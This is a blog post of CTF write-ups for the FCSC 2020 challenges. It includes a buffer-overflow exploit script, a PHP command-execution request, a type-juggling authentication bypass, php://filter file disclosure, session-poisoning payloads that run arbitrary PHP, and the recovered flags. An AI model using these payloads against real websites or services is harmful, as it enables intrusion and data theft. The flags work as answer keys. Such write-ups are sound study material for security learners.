Writeups of some FCSC challenges

2020/05/04

Categories: CTF Writeup Reverse Web Misc

This are little write-ups for challenges of the France Cybersecurity Challenge CTF of 2020. I finished 123/633 in the Senior category and 217/1591 in the general ranking. I will try harder next year, I promise.

Summary


Intro

Le rat conteur

openssl enc -aes-128-ctr -d -in flag.jpg.enc -out flag.jpg -K 00112233445566778899aabbccddeeff -iv 0000000000000000

Poney

File information

poney: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06fdfc3c264bdc167a0855288210c06e16ce805e, not stripped

ELF info

ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400580
  Start of program headers:          64 (bytes into file)
  Start of section headers:          6616 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28

Entry point address: 0x400580

ELF security

'/root/fcsc/poney/poney'
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

No execute is enabled.

There is a shell function at adress 0x0000000000400676. The main function uses function scanf. We can do a buffer overflow to execute the shell function:

from pwn import *

shell_address=p64(0x0000000000400676)
for i in range(0, 128):
  log.info(f"Offset is {i}")
  binary=remote("challenges1.france-cybersecurity-challenge.fr", 4000)
  print(binary.recvuntil('>>>'))
  binary.sendline(b'a'*i + shell_address)
  binary.interactive()

TarteTatin

Opening up the binary in ghidra, we see the main function disassembled as:

ulong main(void) {
  int iVar1;
  long in_FS_OFFSET;
  char local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(local_38,0x20,stdin);
  transform(local_38);
  iVar1 = memcmp(local_38,pass_enc,0x10);
  if (iVar1 == 0) {
    transform(flag_enc);
    puts(flag_enc);
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return (ulong)(iVar1 == 0);
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

So our input is goes through a transform function before being compared to a pass_enc variable. The transform is disassembled as:

void transform(char *param_1) {
  char *pcVar1;
  char *local_10;
  
  local_10 = param_1;
  do {
    pcVar1 = local_10 + 1;
    *local_10 = *local_10 + '\x01';
    local_10 = pcVar1;
  } while (*pcVar1 != '\0');
  return;
}

It’s a simple function that adds 1 to the ASCII code of every char of the string in the parameters. Using gdb, we find that the pass_enc variable is equal to NzTfdvs4Q4ttx1se\340\a\371\367\377\177. Using a quick python script, we find the password:

pass_enc = "NzTfdvs4Q4ttx1se\340\a\371\367\377\177"
for i in pass_enc:
  print(chr(ord(i)-1), end="")

MySecur3P3ssw0rdßøöþ~

Running the script with the password we found gives us the flag:

Well done! The flag is:
FCSC{83f41431c111062d003dd0213cf824d66f770a0be1305e2813f15dd76503a91d}

Babel Web

We get greeted with a website telling us welcome. In the source, we find:

<!-- <a href="?source=1">source</a> -->

which gives us a hint that the php source file can be accessed with the URL parameter source:

<?php
    if (isset($_GET['source'])) {
        @show_source(__FILE__);
    }  else if(isset($_GET['code'])) {
        print("<pre>");
        @system($_GET['code']);
        print("<pre>");
    } else {
?>

We read that source is printed if the source parameter is set, and that code is executed if the code parameter is set. A request to ?code=ls shows a file called flag.php, and we can read it by making a request to ?code=cat<flag.php.

curl "http://challenges2.france-cybersecurity-challenge.fr:5001/?code=cat<flag.php"
<pre><?php
        $flag = "FCSC{5d969396bb5592634b31d4f0846d945e4befbb8c470b055ef35c0ac090b9b8b7}";
<pre>

Misc

Randomito

We have the source file: it’s a python2 script that uses the input function instead of the raw_input function. We are supposed to guess two random numbers that are stored in two variables secret_a and secret_b. We can supply those to the script and we get the flag:

[+] Generating a 128-bit random secret (a, b)
[+] Done! Now, try go guess it!
>>> a = secret_a
>>> b = secret_b
[-] Trying 6df3fb4a206cdf56a6a0422880e82044
[+] Well done! Here is the flag: FCSC{4496d11d19db92ae53e0b9e9415d99d877ebeaeab99e9e875ac346c73e8aca77}

Baby Xoring Networks

We are given 4 initial $n$-bit numbers and 4 final $n$-bit numbers:

Instance of a problem

We need to find the right combination of at most $m$ XOR gates so that the four initial numbers become the 4 final numbers after permutations.

Solution of the previous instance

The challenge starts off with 4-bit numbers and the last instance has 6-bit numbers.

One method to solve this was just iterating through all the possible cases, but the last instance was a hit or miss. A better solution was to perform a meet-in-the-middle attack (MITM). For now, let’s forget the final permutations and the fact that we have to make a 90 degree rotation to get the real numbers getting XORed.

Because we know what the final numbers are, we can divide the problem in two and get way faster results:

The only thing that we need in order to make this work is to make a function that will parse the problem from the server and another one to find the right permutations, which is an easy task.

from pwn import *
import numpy as np
import itertools

class Network:
  def __init__(self, n, M, A, end=False):
    self.n = n
    self.c_n = 0
    for i in range(1, n):
      self.c_n += i
    self.M = M
    self.A = A
    self.solutions = {}
    self.end = end

  def get_solutions(self, i):
    self.solutions = {}
    poss_xor = list(itertools.permutations(range(self.n), 2))
    poss_comb = itertools.permutations(poss_xor, i)
    for j in poss_comb:
      temp_a = self.A[:]
      for k in j:
        temp_a[k[0]] = temp_a[k[0]] ^ temp_a[k[1]]
      self.solutions[j] = bytes(temp_a)

def check_solution(solution1, solution2):
  middle = set(v for k, v in sorted(solution1.items(), key=lambda item: item[1]))
  second_middle = set(v for k, v in sorted(solution2.items(), key=lambda item: item[1]))
  if len(middle.intersection(second_middle)) > 0:
    return list(middle.intersection(second_middle))[0]
  return False

def hex_to_binarray(hex_str, n):
  bin_str = bin(int(hex_str, 16))
  bin_list = list(int(i) for i in bin_str[2:].zfill(n))
  return bin_list[::-1]

def make_permutations(real_solution, partial_solution):
  ret_list = []
  temp_permutations = real_solution[:]
  for i in partial_solution:
    ret_list.append(temp_permutations.index(i))
    temp_permutations[ret_list[-1]] = None
  return ret_list[::-1]

def translate_problem(A, n):
  A = np.rot90(np.array(list(hex_to_binarray(i, n) for i in A)))
  A_translated = list(int(''.join(map(str, i)), 2) for i in A)
  return A_translated

def find_solution(n, M, A, B):
  problem = Network(n, M//2, translate_problem(A, n))
  for k in range(1, M//2 + 1):
    problem.get_solutions(k)
    possible_permutations = itertools.permutations(translate_problem(B, n))
    possible_permutations = [list(i) for i in possible_permutations]
    for i in possible_permutations:
      problem2 = Network(n, M-M//2, i)
      for j in range(0, M-M//2):
        problem2.get_solutions(j)
        solution = check_solution(problem.solutions, problem2.solutions)
        if solution:
          moves = []
          for k, v in problem.solutions.items():
            if solution==v:
              moves.extend(k)
              break
          for k, v in problem2.solutions.items():
            if solution==v:
              moves.extend(k[::-1])
              return len(moves), moves, make_permutations(translate_problem(B, n), i)

r = remote("challenges2.france-cybersecurity-challenge.fr", 6007)
while True:
  try:
    print(r.recvuntil(b"--------- BEGIN XNP ---------\n"))
    n = int(r.recvuntil(b"\n")[:-1].decode())
    M = int(r.recvuntil(b"\n")[:-1].decode())
    a = []
    b = []

    for i in range(n):
      a_t, b_t = r.recvuntil(b"\n")[:-1].decode().split(' ')
      a.append(a_t)
      b.append(b_t)

    log.info(f"Solving: {n}, {M}, {a}, {b}")
    m, moves, permutations = find_solution(n, M, a, b)

    r.sendline(b"----- BEGIN XNP SOLUTION -----")
    r.sendline("{}".format(m).encode())
    for i in moves:
      r.sendline("{} {}".format(i[0], i[1]).encode())
    for i in permutations:
      r.sendline("{}".format(i).encode())
    r.sendline(b"------ END XNP SOLUTION ------")
  except:
    r.interactive()

Reverse

Infiltrate

We are given an image with only black and white pixels that are supposed to represent the blinking light of an HDD, so my first guess is that it represented a file. I used dcode to parse the images to bits and then translate them to a bytearray with the following python script:

binary_str = ""
with open('binary.txt', 'r') as binary_file:
  binary_str += binary_file.read()

def bitstring_to_bytes(s):
  return int(s, 2).to_bytes(len(s) // 8, byteorder='big')

with open('decoded', 'wb') as decoded_file:
  decoded_file.write(bitstring_to_bytes(binary_str)[16:])

This makes an ELF binary file that we can execute after installing libssl1.0.0. The executable asks us a password to get access to the flag. Debugging the application we see that it computes the SHA-1 hash of the input and compares it to this sequence of bytes: 5823db976801c4a0e2d7a330b2bb82fe27cc2612. Doing a reverse lookup, we find the password: 401445. The flag is: FCSC{401445}.


Web

Rainbow Pages

We are greeted with a website where we can search for chefs. We can guess that the application makes an SQL request with the LIKE statement.

We make the search with the URL parameter search. If we trying seaching for the letter a, it performs the search with the following GET request:

GET /index.php?search=eyBhbGxDb29rcyAoZmlsdGVyOiB7IGZpcnN0bmFtZToge2xpa2U6ICIlYSUifX0pIHsgbm9kZXMgeyBmaXJzdG5hbWUsIGxhc3RuYW1lLCBzcGVjaWFsaXR5LCBwcmljZSB9fX0=

Decoding the base64 string, we get:

{ allCooks (filter: { firstname: {like: "%a%"}}) { nodes { firstname, lastname, speciality, price }}}

We see that the application uses GraphQL to make the requests. I ran an introspection query against the GraphQL endpoint that I got from GraphQL Voyager which gives us a nice little graph.

Graph generated by GraphQL Voyager

The graph shows a flagById query. Let’s try to get the flag with id 1:

{ flagById (id:1) {flag} }

We base64 the query and make a get request:

GET /index.php?search=eyBmbGFnQnlJZCAoaWQ6MSkge2ZsYWd9IH0=
...
{"data":{"flagById":{"flag":"FCSC{1ef3c5c3ac3c56eb178bafea15b07b82c4a0ea8184d76a722337dca108add41a}"}}}

We get the flag :)

EnterTheDungeon

We are greeted with a website that asks for a secret to access a dungeon. There is an HTML comment:

<!-- Pour les admins : si vous pouvez valider les changements que j'ai fait dans la page "check_secret.php", le code est accessible sur le fichier "check_secret.txt" -->

So we have access to the page that checks if the secret is valid:

<?php
	session_start();
	$_SESSION['dungeon_master'] = 0;
?>
<html>
<head>
	<title>Enter The Dungeon</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Enter The Dungeon</h1></center>
<?php
	echo '<div style="font-size:85%;color:purple">For security reason, secret check is disable !</div><br />';
	echo '<pre>'.chr(10);
	include('./ecsc.txt');
	echo chr(10).'</pre>';

	// authentication is replaced by an impossible test
	//if(md5($_GET['secret']) == "a5de2c87ba651432365a5efd928ee8f2")
	if(md5($_GET['secret']) == $_GET['secret'])
	{
		$_SESSION['dungeon_master'] = 1;
		echo "Secret is correct, welcome Master ! You can now enter the dungeon";
		
	}
	else
	{
		echo "Wrong secret !";
	}
?>
</body></html>

We notice the application is using the equal operator == and not the identical operator ===, so we can exploit PHP type juggling. The number 0e215962017 when md5’d is equal to 0e291242476940776845150308577824 and passes the test.

Once the session has been updated, we come back to the dungeon and get the princess:

Félicitation Maître, voici le flag : FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}

                          .
                          |~~
                          |~~
                         /L\
                  ,.---./LLL\. _.--.
                .'(|~~`/LLLLL\` )  )`.,
              .(`  |~~/LLLLLLL\   )  )-. .
             (  ( /L\/LLLLLLLLL\ )  )   `|~~
            ((`_./LLL\LLLLLLLLLL\`.)_),.)|~~
                /LLLLL\.=.=.=.=|        /L\
                 |.=.| .-._.-. |       /LLL\   ~'~
                 |  [| | | | | |      /LLLLL\
                 |   | | | | | | _   _|] _=.|
        ~'~      |  [| |_|_|_| || |_| |_| | |
                 |  |~~        |=.=.=.=.=.| |       .
                 |  |~~        |    |~~   | |       |~~
                 | /L\ .-._.-. |    |~~   | |       |~~
                 |/LLL\| | | | |   /L\    |/       /L\
                 |].=.|_ | _ | _  /LLL\   |       /LLL\
           ,- _--|]] [| |_| |_| |/LLLLL\  |      /LLLLL\
          (|_| |_|]---|.=.=.=.=./LLLLLLL\ _   _ /LLLLLLL\
           \.=.=.=|\_/           |.=.=.|_| |_| |_|.=.=.|
           /|[]   |              | []  |.=.=.=.=.|  [] |
           ||     |    .-._.-.   |     | .-----. |     |
           \|     |    | | | |   |     |/|||||||\|     |
            |  [] |    | | | |   |     ]|||||||||[     |
            |  __ |    |_|_|_|   |  [] ]|||| ||||[ []  |
            | /<_\_    ____      |     ]|||| ||||[     |
            |/ |  "\__/  ) \.-.  |     ]|?=||||||[     |_
           /"  )\_ >  ) >\__ ")`\_     ]|||||||||[ ,_./`.\
        __/ _/ _ ,| \  __  "|_  ) |_   ]|||||||||[/("_ -">\_
       /> )"__/ \___  "  \__  _) \_ -\_.==___===/.<  \__(\_ \
      /  __/ )___   > \_ ) \  \_ "  ).==_____==( <."/ (_<  \)|
     lc_/>.=__.._\"__\_  >_)___\-_/.=________=/___/.__>__"(__/

Revision

We are greeted with a website where we can upload two files. We have access part of the source code. Reading it we understand that the website:

Testing the application we find out that it only accepts pdf files.

Doing a little bit of research, we find that SHA-1 is vulnerable to collision attacks and that we can create two different pdf files with the same SHA-1 hash. Two example pdfs are included in the website.

Uploading them to the application gives:

Un des documents existe déjà dans la base de données. Vous semblez être sur la bonne voie...

Now we need to find out how to modify the pdfs so that they compute the same hashes without them being in the database. Reading a little bit more, the website shows how they leveraged the pdf format by including this picture. We understand that the only thing we have to do is to append some bytes to both pdfs and the hashes will remain the same. Appending 0xdeadbeef to both documents and uploading them gives us the flag:

Bravo, vous avez trouvé une collision sha1 pour le fichier "a305abf22d2e1568b33cdfb15d8fc29a34e8be28" : FCSC{8f95b0fc1a793e102a65bae9c473e9a3c2893cf083a539636b082605c40c00c1}

Bestiary

We are greeted with a website that lets us see information about beasts. The information is retrieved by the URL parameter monster. Using the php wrap filter allows to get the source of the index.php file base64 encoded:

GET /index.php?monster=php://filter/read=convert.base64-encode/resource=index.php

When we decode the reponse we get:

<?php
	session_save_path("./sessions/");
	session_start();
	include_once('flag.php');
?>
<html>
<head>
	<title>Bestiary</title>
</head>
<body style="background-color:#3CB371;">
<center><h1>Bestiary</h1></center>
<script>
function show()
{
	var monster = document.getElementById("monster").value;
	document.location.href = "index.php?monster="+monster;
}
</script>

<p>
<?php
	$monster = NULL;

	if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
		$monster = $_SESSION['monster'];
	if(isset($_GET['monster']) && !empty($_GET['monster']))
	{
		$monster = $_GET['monster'];
		$_SESSION['monster'] = $monster;
	}

	if($monster !== NULL && strpos($monster, "flag") === False)
		include($monster);
	else
		echo "Select a monster to read his description.";
?>
</p>

<select id="monster">
	<option value="beholder">Beholder</option>
	<option value="displacer_beast">Displacer Beast</option>
	<option value="mimic">Mimic</option>
	<option value="rust_monster">Rust Monster</option>
	<option value="gelatinous_cube">Gelatinous Cube</option>
	<option value="owlbear">Owlbear</option>
	<option value="lich">Lich</option>
	<option value="the_drow">The Drow</option>
	<option value="mind_flayer">Mind Flayer</option>
	<option value="tarrasque">Tarrasque</option>
</select> <input type="button" value="show description" onclick="show()">
<div style="font-size:70%">Source : https://io9.gizmodo.com/the-10-most-memorable-dungeons-dragons-monsters-1326074030</div><br />
</body>
</html>

Sessions are stored in the sessions directory, so we can access it by requesting:

GET /index.php?monster=sessions/sess\_{PHPSESSID}
...
monster|s:34:"../../../var/log/apache/access.log";

This was content of the last request I made to the server. We can execute arbitrary PHP commands by making a request to the command we want to execute URL-encoded and then requesting the session file, for example if we want to execute phpinfo():

GET /index.php?monster=%3c%3f%3d%70%68%70%69%6e%66%6f%28%29%3b%20%3f%3e
...
GET /index.php?monster=sessions/sess\_{PHPSESSID}

Will execute the function. Because the include_once has already been called with flag.php, we can execute the following to print all the variables:

<?php $arr = get_defined_vars();print_r($arr); ?>

Let’s try:

GET /index.php?monster=%3c%3f%70%68%70%20%24%61%72%72%20%3d%20%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73%28%29%3b%70%72%69%6e%74%5f%72%28%24%61%72%72%29%3b%20%3f%3e
...
[flag] => FCSC{83f5d0d1a3c9c82da282994e348ef49949ea4977c526634960f44b0380785622}
>> Home